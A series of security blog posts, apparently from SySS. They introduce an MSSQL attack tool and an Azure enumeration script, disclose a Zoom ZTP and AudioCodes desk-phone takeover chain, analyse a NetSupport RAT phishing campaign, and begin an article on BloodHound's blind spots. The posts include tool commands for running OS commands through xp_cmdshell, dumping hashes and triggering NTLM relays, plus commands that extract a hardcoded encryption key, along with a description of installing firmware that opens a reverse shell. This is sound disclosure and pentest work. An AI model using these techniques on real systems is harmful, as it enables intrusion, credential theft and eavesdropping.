When properly configured, both local instances and Linked Servers provide a high level of security. However, in case of accidental misconfiguration, the consequences are often severe. In complex scenarios where multiple Linked Servers interact with each other, misconfigurations are often not immediately noticed. For this reason, the MSSQL ATTACK TOOL (M.A.T) was developed at SySS internally in a Research & Development project. The tool, programmed in C#, allows for the fast discovery and exploitation of vulnerabilities in MSSQL Servers.
In the following article, we delve into the capabilities, functionalities, and usage of the MSSQL ATTACK TOOL, exploring how it can be leveraged to enhance the security posture of MSSQL environments. From automatic vulnerability checks to seamless execution of SQL and system commands, this tool equips security practitioners with the means to proactively identify and mitigate security risks, safeguarding the integrity and confidentiality of data stored in MSSQL databases.
OVERVIEW OF THE FUNCTIONALITY
Performs automatic checks and identifies vulnerabilities
Enables login via Windows Integrated Authentication as well as SQL Authentication
Quickly activates XP_cmdshell if the permission exists (locally as well as on Linked Servers)
Convenient execution of system commands via XP_cmdshell (locally as well as on single/double Linked Servers)
Convenient execution of SQL commands (locally as well as on Linked Servers)
Fast triggering of NTLM requests via XP_dirtree
Custom Stored Procedure - for executing OS commands (locally)
Automatically checks and enables RPC OUT (if RPC OUT is disabled for Linked Servers, stored procedures such as xp_cmdshell on Linked Servers are not usable)
If the executable file is executed without credentials (no option -u: or -p:), it will by default attempt to log in using Windows Integrated Authentication. When started without parameters, a help output is displayed explaining the function of each parameter.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
Options:
-s, --server Required. SQL server
-u, --user SQL user
-p, --password SQL password
--winauth Log in with Windows Integrated Authentication
-d, --database Database name (default: 'master')
-r, --relay Trigger an NTLM relay to the given IP via XP_DIRTREE
-i, --impersonate Impersonate the specified SQL user
--dumphashes Dump MSSQL user hashes if the current user has admin permissions
-l, --linked-server Linked SQL server
-e Enable XP_CMD Shell locally '-e' or on linked server '-e LINKEDSERVER'
--os-command OS command to execute on selected target system
--sql-command SQL command to execute on selected target system
--double-link Execute OS command via XP_CMD shell using double link
--stoprox Execute OS command via custom assembly stored procedure
--help Display this help screen
--version Display version information
EXAMPLE SCENARIO
During a penetration test, the user COM1\user is compromised. A local MSSQL Server instance is identified on the local server. Instead of manually connecting to the instance with various pentesting tools, the MSSQL ATTACK TOOL is used.
1
MAT.exe --server localhost
The tool indicates that the compromised Windows user can log in to the SQL Server COM1 (Windows Integrated Authentication - no need to enter username/password). The tool provides the following output:
The user is in the ‘sysadmin’ group. This allows the user to activate the XP_cmdshell and execute system commands or list SQL user logins (which will be important later).
After the ‘XP_cmdshell’ has been activated (MAT.exe --server localhost -e), system commands can be executed subsequently (MAT.exe --server localhost --os-command "whoami").
The usage of the parameter --os-command without using the additional parameter --linked-server tells the tool to execute the command locally on the entry SQL Server (COM1).
In the next step, it can be tested whether the user COM1\user can be used to access a Linked Server. The following Linked Servers were previously identified by the MSSQL ATTACK TOOL:
When querying Linked Servers on the SQL Server, the server itself (in this case COM1) is always listed as well. The actual Linked Server here is COM2. The direct attempt to use the compromised user to execute SQL commands on this Linked Server fails (the MSSQL Tool performs these checks automatically).
This is because there is no login mapping for the current user on COM1 (see diagram below: SQL users and permissions). The login mapping determines which user from SQL Server COM1 is associated with which user from COM2.
Therefore, it is important to know which users exist on COM1 in order to test whether a login mapping exists for any of these users (if the permissions are high enough, it is possible to directly check this in the Linked Server object COM2 (on COM1) via SQL Management Studio). Previously, the MSSQL ATTACK TOOL detected the following user logins:
1
2
3
userx
user1
adminuser
With the ‘sysadmin’ permission, the user ‘com1\user’ can also impersonate SQL users.
Thus, an attempt can be made to impersonate the user ‘userx’. By referring to the diagram with users/permissions (at the bottom), it becomes apparent that the impersonated user ‘userx’ can execute SQL commands on COM2 as ‘usery’. It is important to note that all actions performed after impersonation occur as the impersonated user. The following command was used:
1
MAT.exe --server localhost --impersonate userx
The use of the tool yields the following result:
In this demo scenario, the tool is not only capable of executing OS commands locally or on the Linked Server COM2 (via one link) but can also use the SQL Server COM1 as a Linked Server from there (via two links). In a Triple Link scenario, COM1 would first connect to COM2 via a link, then back to COM1, and then again to COM2 via a link. The indication ‘Pwn3d!’ indicates that the mapped user on the Linked Server is in the ‘sysadmin’ group and therefore has full control over the SQL Server.
The following illustration shows the existing users of each MSSQL server along with their mappings.
WRAPPING UP
After using the MSSQL ATTACK TOOL you should have a pretty good idea of the main security issues on your MSSQL Servers and their permissions. If you are a pentester or a red teamer, you could quickly find some misconfigurations to abuse for local privilege escalation or for lateral movement to a linked server.
By adopting a proactive approach to security and leveraging tools like the MSSQL ATTACK TOOL, you can strengthen your organization’s resilience to cyber threats and ensure the integrity and confidentiality of your data assets.
Introducing AzurEnum2024-03-13T10:00:00+01:002024-03-13T11:13:33+01:00https://blog.syss.com/posts/introducing-azurenum/Enrique Hernández
As time goes on, organizations keep moving more and more IT assets into the cloud. More importantly, the Azure cloud plays a paramount role in the IT structure of most companies due to its merging capabilities with on-prem environments, leading to hybrid Active Directory landscapes.
As time goes on, organizations keep moving more and more IT assets into the cloud. More importantly, the Azure cloud plays a paramount role in the IT structure of most companies due to its merging capabilities with on-prem environments, leading to hybrid Active Directory landscapes.
Hybrid environments are attractive for many reasons, but they also include another layer of complexity that opens new attack surface to attackers. In order to speed up the analysis of Azure environments, AzurEnum was developed. You can find it now on GitHub: https://github.com/SySS-Research/azurenum.
When talking about the Azure cloud, one can differenciate three branches:
Microsoft Entra ID: Entra ID contains the users, groups and most of the important permissions that extend to all branches of the Azure cloud. Entra ID acts as Single Sign-on (SSO) platform for all of the Azure resources and is therefore extremely critical from a security perspective.
Infrastructure in the Azure cloud: Virtual machines, storage accounts and many other products are available to perform cloud computing as one may expect it from any public cloud.
Microsoft 365: Many Microsoft applications, such as Teams, Sharepoint or Outlook, integrate seemingless with Azure and are present by default in every tenant. These are usually meant under the Microsoft 365 umbrella term.
AzurEnum focuses on the Microsoft Entra ID side of things. It aims to provide a lightweight overview of the most relevant security configurations concerning the Azure environment.
If you are familiar with Azure administration, you know it’s a lot of clicks. Click, click, click, oh no, the option I was looking for has been moved to a new portal. Yeah, I know that feeling, too. Further, you could argue that some of the most critical security information is not even present in the masks you would expect it to. A nice example of this is gone through in a post of SpecterOps.
Resorting to APIs and command line tools is thus a must if you want to understand Azure. Even more if you want to enumerate information quickly. AzurEnum does the heavy lifting of handling tokens, querying interesting API endpoints and parsing the results for you to see only what really matters. This does not mean that all important information is displayed, but at least most of it is.
AzurEnum is a script written in python and can run on both Windows and Linux systems. However, for a smoother experience, Linux systems are preferred. AzurEnum can run with any Azure user, too, but in order to get the most out of it you should run it with a user having the Entra ID role Global Reader or greater (read) access. You do not have to worry about AzurEnum performing some changes to your environment, since all it does is perform read-only queries to the Azure APIs.
Note that when running AzurEnum with a low-privileged user, the MFA methods information will most likely be unreliable.
Quick start
In order to run AzurEnum, you will need python3 and the msal library, which you can install with pip.
1
$ pip3 install msal
You can open the help menu as follows.
1
2
3
4
5
6
7
8
9
10
$ ./azurenum.py -h
usage: azurenum.py [-h] [-o OUTPUT_TEXT] [-j OUTPUT_JSON] [-nc] [-ua USER_AGENT] [-t TENANT_ID]
options:
-h, --help show this help message and exit
-o OUTPUT_TEXT, --output-text OUTPUT_TEXT specify filename to save TEXT output
-j OUTPUT_JSON, --output-json OUTPUT_JSON specify filename to save JSON output (only findings related to insecure settings will be written!)
-nc, --no-color don't use colors
-ua USER_AGENT, --user-agent USER_AGENT specify user agent (default is MS-Edge on Windows 10)
-t TENANT_ID, --tenant-id TENANT_ID specify tenant to authenticate to
To run the tool with the default options, you can just leave out all the arguments:
Currently, the only authentication flow supported is device-code login. Follow the instructions to complete the authentication in a browser. AzurEnum will perform the flow with the client ID of Microsoft Office and, after successful authentication, will exchange the obtained refresh token for a few additional access tokens. After that, AzurEnum will prompt the user to authenticate again. This is currently necessary in order to obtain access tokens through a different, non foci client ID without relying on the user having to grant any sort of application consent, which may not be possible in a penetration test or red team engagement.
Once that is done, AzurEnum will proceed to gather and parse all the data.
Basic information
AzurEnum divides its outputs in blocks. The first block shows some general information about the tenant. You may think of it as the “Microsoft Entra ID” blade of the Azure Portal, but with more information.
You should watch out for some interesting lines here. First, the number of users that have not set any MFA methods yet. Even if your tenant enforces a 100% MFA coverage with conditional access policies, your users need to get MFA methods setup for it to really work. Otherwise, a user with no MFA methods will simply be prompted to set up MFA on a successful login, which of course does not prevent a remote attacker from compromising that user.
Another interesting point is the amount of modifiable groups. These are groups where any tenant member can join without having any special rights. Often, you see this arise when configuring public teams or sites in some M365 applications.
As you can see in the last line, for some important options that AzurEnum is not able to enumerate yet, it will prompt you to check it manually by visiting the given link.
General settings
The list of general settings will take care of putting together the security-relevant options to quickly provide you an overview of them. The following example corresponds to a tenant where the default settings have never been changed, which, as you can see, is by no means the most secure configuration.
Again, portal links are given to quickly jump to the respective setting on the Azure portal.
Entra ID roles
Using the Azure portal to find out who has Entra ID roles is quite a pain, and it is even worse when Privileged Identity Management (PIM) is active. AzurEnum will first provide you with a clean list of all Entra ID role assignments, showing even those that can not be found in the “Roles and Administrators” menu of the portal, such as “Directory Synchronization Accounts”. Additionally, if a user does not have any MFA methods set, it will be marked. Same goes to users that are synced from an on-prem Active Directory.
If PIM is active, a list of all PIM assignments will be shown too, including those that are in an “eligible” state.
Service Principal API permissions
Azure apps, aka. service principals, can have a second type of permissions that you will not find when enumerating Entra ID roles, but may grant the same level of access as global admin. You will see the portal refer to those as “API permissions” or “permissions”. The most important of them are the “application” type permissions, which will grant apps some rights without the need of users consenting to them to delegate their permissions. This can lead to users that control apps, such as app owners or users with particular Entra ID roles, being able to escalate their privileges. Note that the Directory Synchronization Accounts, whose credentials can be extracted from Entra ID Connect servers, control all apps, too. This may open the door to obtaining high-privileged access to the Azure tenant to an attacker that controls the Entra ID Connect server on-prem.
Another important line to draw when talking about apps’ API permissions is that some service principals may correspond to applications that are defined in an external tenant. If you give excessive permissions to one of these apps, the external tenant may be able to even obtain full administrative privileges on your tenant by exploiting that service principal, as it likely happened in the recent Microsoft breach.
In the portal, you would need to click through every single app in your tenant. AzurEnum just provides a list of all service principals with application-level permissions to cover both topics above.
Administrative units
Administrative units are a nice protection feature that allows for more granular role management in Entra ID. Some important information about them will be shown in this section.
Dynamic groups
The so-called “dynamic groups” are groups which regularly update their membership based on configured rules. These rules may allow an attacker to get in the group by, for example, inviting a guest account with a specially crafted display name. Reviewing them with AzurEnum is quite easy.
Named locations and conditional access
Conditional Access Policies (CAPs) are quite detailed objects that determine whether a user is allowed to login to the Azure tenant or not, based on multiple factors. One of the most interesting ones is the source IP of the connection used to authenticate, which can be restricted to given ranges called “named locations”. AzurEnum will provide some insight about these, but you should definitely review the CAPs manually.
Devices overview
Not much at the moment, but some information concerning devices is shown as well.
Credential search in principal and groups attributes
Last but not least, users, groups and apps’ attributes will be searched for credentials. This is a typical tactic for attackers to use in on-prem environments, specially with the “description” field of users. In Entra ID, it could happen too, that credentials end up in some of the searched properties. To be honest, however, I have never seen this in actual environments, but who knows.
Additional arguments
AzurEnum supports output logging in both plaintext and json, although the json output will only contain information that could be mapped directly into a finding in a penetration test without additional context, which is not much. When authenticating to a tenant that is not the native one of your user, you will need to provide its tenant ID with the relevant parameter. Finally, specifying the user agent that AzurEnum uses to perform the device-code authentication may help you run the tool through CAPs that restrict some device platforms.
Wrapping up
After going through the output of AzurEnum you should have a pretty good idea of the main security issues on your tenant and its permission structure. If you are a pentester or a red teamer, you may have found some synced user or high-privileged app to abuse for lateral movement from on-prem to cloud. If you are an administrator or blue teamer, maybe you noticed that some administrator user is not needed anymore, or that you are not using administrative units (and you definitely should!). But no matter who you are, you will surely appreciate reading all this stuff without having to click yourself through 300 portal blades, or without having to carefully study all Microsoft Graph API endpoints!
Of course, AzurEnum has its flaws and it does not cover everything you should know about Entra ID security, but I hope that it helps you attacking or securing your tenant.
Zero Touch Pwn: Abusing Zoom's Zero Touch Provisioning for Remote Attacks on Desk Phones2023-08-11T09:00:00+02:002023-08-18T14:11:52+02:00https://blog.syss.com/posts/zero-touch-pwn/Moritz Abrell
In this blog post, we describe several vulnerabilities that were discovered during a security analysis of AudioCodes desk phones and Zoom’s Zero Touch Provisioning.
We also discuss and demonstrate the potential attack scenarios that could arise from these vulnerabilities.
UPDATE (2023-08-18)
UPDATE: The vendor informed us on August 17th, 2023, that the critical vulnerabilities described in t...
In this blog post, we describe several vulnerabilities that were discovered during a security analysis of AudioCodes desk phones and Zoom’s Zero Touch Provisioning.
We also discuss and demonstrate the potential attack scenarios that could arise from these vulnerabilities.
UPDATE (2023-08-18)
UPDATE: The vendor informed us on August 17th, 2023, that the critical vulnerabilities described in this blog post, beside SYSS-2022-055, are fixed and the attacks are no longer possible.
An updated post will follow soon.
TL;DR
An external attacker who leverages the vulnerabilities discovered in AudioCodes Ltd.’s desk phones and Zoom’s Zero Touch Provisioning feature can gain full remote control of the devices,
potentially allowing the attacker e.g. to:
eavesdrop on rooms or phone calls
pivot through the devices and attack corporate networks
build a bot net of compromised devices
In addition, we were able to analyze and reconstruct cryptographic routines of AudioCodes devices,
and to decrypt sensitive information such as passwords and configuration files.
Due to improper authentication, a remote attacker is able to access such files and data.
In practice, automatic provisioning procedures are widely used for the configuration of new VoIP devices.
These procedures ensure that the devices receive all necessary information for operation, such as server addresses, account information, and firmware updates.
Furthermore, these procedures allow for efficient central management of the devices after initial provisioning, enabling organizations to easily monitor, troubleshoot and update the devices as needed.
In conventional on-premise VoIP installations, a simple web server is usually deployed within the local network to provide configurations and firmware updates to the devices.
In our experience from penetration testing, the provisioning of devices often poses significant security risks.
The chicken-and-egg problem, in which a device needs to query the necessary files with factory settings without any additional information or credentials,
can make it challenging to secure the provisioning process.
Additionally, the files must be protected against unauthorized access, which can be difficult to achieve.
However, traditional installations typically locate devices and provisioning services in separate and secure network areas, which limits the attack surface and thus the group of potential attackers.
But with the rise of cloud communication providers such as Zoom, the situation has changed significantly.
These providers have become a fundamental part of daily work life and are gradually replacing traditional VoIP installations.
In certain scenarios, however, a softclient is not enough and hardware such as desk phones or analog gateways are still needed.
These can therefore be integrated with most major cloud communication providers today.
But how secure is it to combine traditional devices, with admittedly often improvable security levels, with state-of-the-art cloud-based communication services?
In this article, we are going to examine this question based on the example of the Zoom Meeting Platform and AudioCodes devices.
Zoom’s Zero Touch Provisioning
Zoom supports the automatic provisioning of certified hardware which is called “Zero Touch Provisioning”.
This allows an IT administrator to assign a device to a user and set configurations which are then queried by a device in the factory settings.
This is a very convenient method with a plug-and-play approach.
Based on the wide range of supported devices for ZTP and the amount of seats,
Zoom seems to be one of the more relevant providers for integrating traditional devices and therefore a good choice for our security analysis:
Amount of phone seats in Zoom
How it works
Based on our analysis, Zoom’s ZTP works in the following manner:
A new device can be added inside the Zoom Phone admin panel and a configuration template is assigned
The corresponding vendor redirect service is triggered and informed, that the corresponding device is now assigned to Zoom
A device in its factory settings requests the device configuration from the vendor’s redirect service
The redirect service redirects to Zoom’s ZTP service
The desk phone requests the device configuration from Zoom’s ZTP service
ZTP responds with the assigned configuration template
This mechanism can be illustrated as follows:
Illustration of Zoom ZTP
Device Authentication
As previously outlined, an assigned phone retrieves its configuration from the Zero Touch Provisioning (ZTP) service at a specific point in time during its initialization process.
To examine the communication between the device and ZTP, we initiated several machine-in-the-middle attacks utilizing a Transport Layer Security (TLS) proxy.
Through this process, we discovered that certificate-based authentication (also known as mutual TLS) is required and enforced by Zoom:
Mutual TLS authentication
Additionally, according to the documentation, we have obtained the base URL of the ZTP service, however, as expected, a client certificate is mandatory:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$ curl -v https://provpp.zoom.us/api/v2/pbx/provisioning/audiocodes
[...]
HTTP/2 400
server: nginx
date: Thu, 12 Jan 2023 10:04:25 GMT
content-type: text/html
content-length: 230
strict-transport-security: max-age=31536000; includeSubDomains
<html>
<head><title>400 No required SSL certificate was sent</title></head>
<body>
<center><h1>400 Bad Request</h1></center>
<center>No required SSL certificate was sent</center>
<hr><center>nginx</center>
</body>
</html>
As the next step, we extracted a valid client certificate from a supported device (see device analysis).
After configuring the TLS proxy accordingly, we were able to successfully intercept and examine the network communication.
Here is an example request for a device configuration:
Furthermore, depending on the vendor and the device model, the client certificate must have a matching Common Name (CN) attribute or serial number,
which corresponds to the MAC address of the device, to retrieve the correct configuration file.
This certificate-based authentication, which verifies the exact match of the MAC address with the requested configuration,
makes it difficult for an attacker to access device configurations without possessing the corresponding device certificate.
Device Assignment
Assigning devices can be accomplished in the Zoom Phone’s administrative panel by adding the MAC addresses of the devices:
Assignment of a desk phone
However, there is no other client-side verification, such as a one-time password or other evidence that the MAC address actually belongs to the organization.
Therefore, an attacker with access to the necessary licenses for using Zoom Phone can claim arbitrary MAC addresses and assign a self-defined configuration template.
Since configuration templates include device settings and instructions,
an attacker could potentially trigger actions such as downloading malicious firmware from a server under their control:
As a result, every time the assigned device is in its factory settings state, such as when it is a new phone or has been reset,
it will request the malicious configuration file from ZTP and subsequently download the firmware image provided by the attacker.
An attacker could also leverage another built-in function of Zoom’s ZTP to amplify the scope of this attack by importing a massive list of MAC addresses:
Import of arbitrary devices
After importing this list of MAC addresses, the devices are belonging to the attacker Zoom account.
A new or subsequent assignment, e.g. by the legitimate owner of the device, has no effect on the attacker assignment and the redirection will not be overwritten.
During the security analysis, we did not identify any limitations on the number of devices that can be added.
With the knowledge of this unverified ownership vulnerability, described in SYSS-2022-056,
the idea was to find vulnerabilities in the firmware signature verification of supported devices and abuse Zoom’s ZTP to trigger arbitrary devices into installing malicious firmware.
Before delving into our planned attack scenario, we will further analyze the device provisioning process in regards to the vendor’s redirect service.
As previously explained, a desk phone in its factory settings will initially request a configuration or the provisioning server URL from the corresponding vendor server.
This is also the case for AudioCodes devices, which contact the AudioCodes redirect server at redirect.audiocodes.com.
This initial provisioning stage is similar to the later stages of provisioning and device configuration with Zoom’s ZTP.
However, unlike Zoom, there is no authentication required to access and query redirect URLs and configurations.
In many cases, only the URL of the second-stage provisioning server can be accessed:
Provisioning URL received from vendor’s redirect server
However, during our security analysis some spot checks were made, where we found credentials in URLs:
Credentials in redirection URLs
In the spot checks, we also followed the redirection pointed to paths of the AudioCodes redirect server itself,
where we found sensitive information such as configuration files including passwords:
Sensitive information in redirect server
Sensitive data on third-party servers can also be identified during the redirection process.
Therefore, we strongly urge operators of these services and users of the AudioCodes redirect server to check if this data is freely accessible.
In general, we recommend enforcing authentication and avoid storing sensitive information such as passwords in plain text.
Due to the device assignment based on the MAC address,
it is possible for an attacker to scan the entire AudioCodes MAC address space,
greatly increasing the potential impact of this issue.
This exposure of sensitive information to an unauthorized actor is described in SYSS-2022-053.
Password Encryption
During the spot checks on accessing configuration files via the AudioCodes redirect service, we also found Base64-encoded strings which seem to be encrypted passwords:
So as a next step, we analyzed the firmware to recover the used encryption routine.
The firmware of AudioCodes devices can be downloaded from the vendor’s download portal and is not encrypted in itself.
Another way to access the device file system is via the allowed root access via SSH using the administrator password.
During this analysis, we found out that many functionalities are defined in the shared object file /lib/libaq201.so.
This library also imports the function decrypt_string from the shared object file /lib/libac_des3.so,
which therefore seems to be a good indicator for the encryption routine.
By disassembling and decompiling this library with tools like Ghidra,
the encryption algorithm can be reversed and the hardcoded encryption key extracted:
After some operations, e.g. on the encrypted string, the exported function decrypt_string calls the function des3_crypt:
Calling an encryption function
Within the function des3_crypt, a call is made to the functions DES_set_key_unchecked and DES_ede3_cbc_encrypt,
which are imported from /lib/libcrypto.so.1.0.0:
3DES functions
These OpenSSL functions first convert the key into the architecture dependent key schedule and then conduct the actual Triple DES decryption.
By knowing the calling convention, we can redefine the given parameters:
Redefining parameters and variables
Afterwards, the pointers of the 8 byte initialization vector (IV) and the 24 byte cryptographic key can be examined and therefore the memory location inside the binary:
Triple DES initialization vector
Triple DES key
1
2
3
4
5
6
7
Extraction of the Key:
$ offset=$(python3 -c 'print(int("00000fb8", base=16))')
$ dd skip=$offset count=24 if=libac_des3.so of=key.bin bs=1
Extraction of the IV:
$ offset=$(python3 -c 'print(int("00000fb0", base=16))')
$ dd skip=$offset count=8 if=libac_des3.so of=iv.bin bs=1
Finally, encrypted passwords of AudioCodes devices can be decrypted, for instance by using a simple Python script:
Next we noticed that configuration files for AudioCodes devices could also be stored entirely encrypted:
AudioCodes documentation for configuration file encryption
However, for the configuration file encryption another encryption key is used and since we do not have the referenced tool encryption_tool.exe, we have to dig further into the device firmware.
Within this analysis, it could be examined that the shared object file /lib/libcgi.so checks whether a configuration file is encrypted or not and executes the following command:
So we assumed that the decryption of the configuration files is handled by /home/ipphone/bin/decryption_tool and therefore decided to have a closer look at this executable.
Doing this, it could be found out that the imported OpenSSL function EVP_des_ede3_cbc is used as cipher and EVP_BytesToKey
to derive the key and IV from a given string.
We found an interesting looking string, which is referenced in the function at memory location 00011620:
String for key derivation pushed on the stack
The instructions above cause the call of memcpy(r0,r1,r2), which can be abstracted as follows:
Later in this function, the stack variable which holds the string is copied into register r3,
which is then passed as fourth parameter to the function located at memory location 000111a0:
Passing of the string to the function at memory location 000111a0
Following this function, the string is again stored on the stack (r7):
Storing the string on the stack
Later in the function, r7 is stored in the fourth parameter which is passed to the OpenSSL function EVP_BytesToKey:
Passing the string to the key derivation function
In regard to the OpenSSL documentation of this function, it can be confirmed
that this value represents the string from which the key is derived.
So we can extract the secret value from the identified memory location in the previous function 00011620:
Memory location of the secret for the key derivation
To construct a successful exploit chain that delivers malicious firmware via Zoom’s ZTP and triggers arbitrary devices to install it,
we must analyze the firmware update mechanism of AudioCodes devices.
As a first step, we modified a few bits within a firmware image file, which can be downloaded from the vendor’s download portal,
and attempted to install it through the device’s web interface.
Unfortunately, the device rejected this attempt:
As there seems to be some kind of firmware verification, the corresponding update mechanism has to be analyzed:
The bash script /home/ipphone/scripts/run_ramfs_for_upgrade.sh handles the firmware update process, checks whether the executable /tmp/flasher_ext exists, and executes it.
If this file does not exist, flasher located at /bin is executed:
[...]
FLASHER=flasher
[...]
do_upgrade(){
v "Performing system upgrade..."ln-s /home/ipphone/bin/lcdbar /bin/lcdbar
flasher u /tmp upgrade.img
if[$?-eq 0 ];then
v "external flasher exist"chmod +x /tmp/flasher_ext
/tmp/flasher_ext u
if[$?-eq 0 ];then
v "external flasher can run, so use external flasher to upgrade"FLASHER="/tmp/flasher_ext"fi
fi$FLASHER r /tmp upgrade.img 1>$CONSOLE 2>&1
if[$?-eq 0 ];then
v "Upgrade successful"else
v "Upgrade fail"fi}[...]
By analyzing the flasher executable, the extensive usage of lseek can be discovered.
This C function is used to change the file offset for reading and writing specific parts of the firmware image file,
which indicates that the image contains different sections.
While looking at the firmware image in a hex editor and further analyzing the binary,
we were able to reconstruct the firmware structure and the header which divides the file into several sections and also holds a simple checksum of the section:
The checksum is calculated by summing up all bytes in the section starting from offset 0x60.
The analyzed firmware image contains of the following sections:
Firmware header containing meta information (version, model, date, etc.)
bootloader.img
rootfs.ext4
phone.img
section.map
flasher
release
end.section
After reconstructing the firmware image structure and the checksum calculation,
we again flipped some bits inside the image file, recalculated the checksum, and tried to install it on the device.
As expected, this time the firmware update was not aborted and we were able to install the manipulated image file.
To demonstrate this in a more convenient way, we extracted the rootfs.ext4 file system from the image file, mounted it, and created a new file:
After packing the firmware and recalculating the checksum, we were able to install this manipulated firmware image, too:
Now let’s move on to the exciting part where we take advantage of the unverified ownership and the missing immutable root of trust to develop an exploit chain.
As a simple proof of concept, we added the following script to the path /home/ipphone/scripts,
which uses built-in tools (living off the land) to initiate a reverse shell to the attacker server:
The script path is then added to /home/ipphone/rcS which executes it at system start-up.
The manipulated firmware image is then stored on an attacker-controlled server and provided via HTTP.
To trigger the target device to download the malicious firmware image,
the attacker adds the device’s MAC address to their Zoom account and assigns an evil configuration template
that includes instructions to download a new firmware from the attacker-controlled server (see device assignment).
Now, by resetting the device to factory settings, the device goes through the provisioning process of both,
AudioCodes and Zoom, and downloads and installs the malicious firmware image from the attacker server.
Finally, a reverse shell with root privileges pops up on the attacker server:
Reverse shell from the targeted device
This exploitation chain can be illustrated as follows:
Complete attack chain
To provide a more comprehensive proof of concept, we have added additional modifications, for example for eavesdropping:
Eavesdropping attack
Conclusion
During our security analysis, we identified multiple vulnerabilities in Zoom’s and AudioCodes’ provisioning concept as well as in certified hardware.
When combined, these vulnerabilities can be used to remotely take over arbitrary devices. As this attack is highly scalable, it poses a significant security risk:
Attack scenarios
We have demonstrated that the combination of advanced cloud-based communication solutions like Zoom, along with traditional technologies like VoIP devices, can be a desirable target for attackers.
As future work, other cloud-based solutions and certified hardware could be analyzed for similar security vulnerabilities.
Vulnerability Summary
We initally reported all described vulnerabilities to the vendors in November 2022.
Unfortunately, not all vulnerabilities were fixed at the time of the disclosure.
Details about the vulnerabilities and their solution state are provided in the following security advisories:
NetSupport RAT distributed via fake invoices2023-04-18T16:00:00+02:002023-04-24T09:31:16+02:00https://blog.syss.com/posts/malware-analysis-NetSupport-RAT/Maurizio Ruchay
NetSupport Manager is a legitimate remote control software that is developed by a UK-based company. However, as uncovered in this analysis, the software is used in a currently active phishing campaign against German-speaking users.
NetSupport Manager is a legitimate remote control software that is developed by a UK-based company. However, as uncovered in this analysis, the software is used in a currently active phishing campaign against German-speaking users.
Malware Distribution
The malware is initially distributed via e-mail as a fake invoice, as shown in the following screenshot:
Example of fake invoice containing malware
An English translation of the mail reads:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
Dear Sir or Madam,
I hope you are well. I am writing to you today to remind you of an outstanding invoice.
According to our records, we have not yet received your last invoice dated March 15, 2023.
Please transfer the amount of 808.59 € to our account as soon as possible.
You will find the bank details on the attached invoice.
Please note that the invoice is protected with the password "1".
You need the password to open and view the invoice.
If you have already made the payment, please ignore this message.
We would like to remind you that the payment deadline has already passed.
We would appreciate it if you could pay this invoice as soon as possible to avoid late payment interest.
Thank you for your attention and understanding.
The e-mail is written in ordinary language. However, the over-friendly and lengthy phrases are reminiscent of an AI-generated text.
The AI Text Classifier of OpenAI states that the e-mail has likely been generated by an AI.
OpenAI Text Classifier
Malware Stager
The actual malware is attached to the e-mail in the form of a password-protected ZIP archive (bestellung_260778.zip).
Malware distributed in a password-protected ZIP archive
This password is communicated to a potential victim in the e-mail text. The password protection is likely used by the attackers in order to obfuscate the payload, and to prevent early detection by antivirus software on mail servers.
When unpacked, the ZIP archive contains a small Batch script named Rechnung herunterladen.bat, and a hidden folder called Rechnung (English: invoice) containing a PowerShell script named LM1.ps1.
Components of the malware stager
If a user executes the Batch script Rechnung herunterladen.bat (“download invoice.bat”), the PowerShell script LM.ps1 will be started. The code of this script can be found in the following section.
Malware Implant and Persistence
The following script is used to download and start the implant:
This PowerShell script will download the payload https://[REDACTED]/baot.zip. This payload is then extracted to the hidden folder $env:AppData\ONEN0TEupdate (with the letter “zero”). After that, the implant executable client32.exe is started. As a persistence mechanism, the registry key HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run is configured to run the implant client32.exe.
Especially noteworthy is that the Cmdlet Start-BitsTransfer is used in order to download the payload. This is a Cmdlet that can be used to transfer files. However, it is more exotic than commonly used methods like Invoke-WebRequest or Certutil.exe for this purpose.
Command and Control Infrastructure
The implant is the “NetSupport Client Application”, which is a signed executable by “NetSupport Ltd”. The configuration file client32.ini contains the URI of the command and control (C2) server (balbalz1.com:5222), as shown in the following figure:
NetSupport RAT configuration
According to the whois entry, this server is hosted by AEZA GROUP LLC and is located in Krasnodar, Russia.
1
2
3
4
5
6
7
8
9
10
11
12
13
$ dig +short balbalz1.com
79.137.207.54
$ whois 79.137.207.54
[...]
inetnum: 79.137.207.0 - 79.137.207.255
netname: Aeza-Network
[...]
organisation: ORG-AGL38-RIPE
org-name: AEZA GROUP LLC
org-type: OTHER
address: 350001, Krasnodar, st. im. Mayakovskogo, b. 160, office 2.4
[...]
Indicators of Compromise (IOCs)
The following sections list known IOCs for this malware sample. The IOCs have been updated on April 24, 2023 according to newly discovered samples of the same malware.
The Blind Spots of BloodHound2022-09-13T09:00:00+02:002022-09-13T10:57:19+02:00https://blog.syss.com/posts/bloodhound-blindspots/Dr. Adrian Vollmer
Let’s get one thing straight: This article is not at all a dig on BloodHound.
Let’s get one thing straight: This article is not at all a dig on BloodHound.
BloodHound
has been nothing short of revolutionary to the way attackers think about
attacking large networks, and frankly, the way defenders should think
about defending their network. It’s hard to overstate the impact BloodHound had on
the infosec scene.
BloodHound visualizes the relationships between different entities and
privileges in large networks and sheds light on ways to escalate privileges
which are typically completely obscure to the administrators.
It is applied only to Active Directory-based networks because virtually any
large or mid-size organization in the west relies on Active Directory for
identity and access management, but the underlying principles hold for any
type of network with assets that are controlled by different identities.
But BloodHound does not paint the full picture. Some of the ideas presented
here may seem far fetched, but they all have a precedent.
What is BloodHound?
Just so we are all on the same page, here is a quick summary of BloodHound.
BloodHound consists of essentially two components: the “ingestor”, a C#
program which performs the data collection, and an electron app with a Neo4j
back end. It inserts the data into the Neo4j database and visualizes queries
as a graph.
Among many other things, the ingestor collects information about users,
computers, groups, organizational units, group memberships (locally and in
the domain) and active sessions. The electron app displays relationships
between these objects and can be thought of as a route guidance system that
can yield the shortest path from any object to the group of domain admins
and much more. Here is an example path:
An example of a typical privilege escalation path in BloodHound
We know from
leaks
that real ransomware groups use BloodHound in an early stage of the attack;
and we at SySS know from our own experience that any pentester worth their
salt will run BloodHound to assess possibilities for lateral movement. If
you, as a defender, want to be one step head, you must run BloodHound
yourself regularly. The addendum “or a similar tool” would be appropriate
here, but there simply is none. BloodHound provides such an invaluable
insight into an Active Directory that one might wonder why Microsoft does
not provide something like it for any paying customer without additional
cost. Luckily, BloodHound is free and open source – even though there is an
enterprise version if you prefer a payed solution – so you can get started
right away. There are just a few things to consider.
First, the ingestor is considered malware by most endpoint protection
solutions, even though it will not harm your computer or your network.
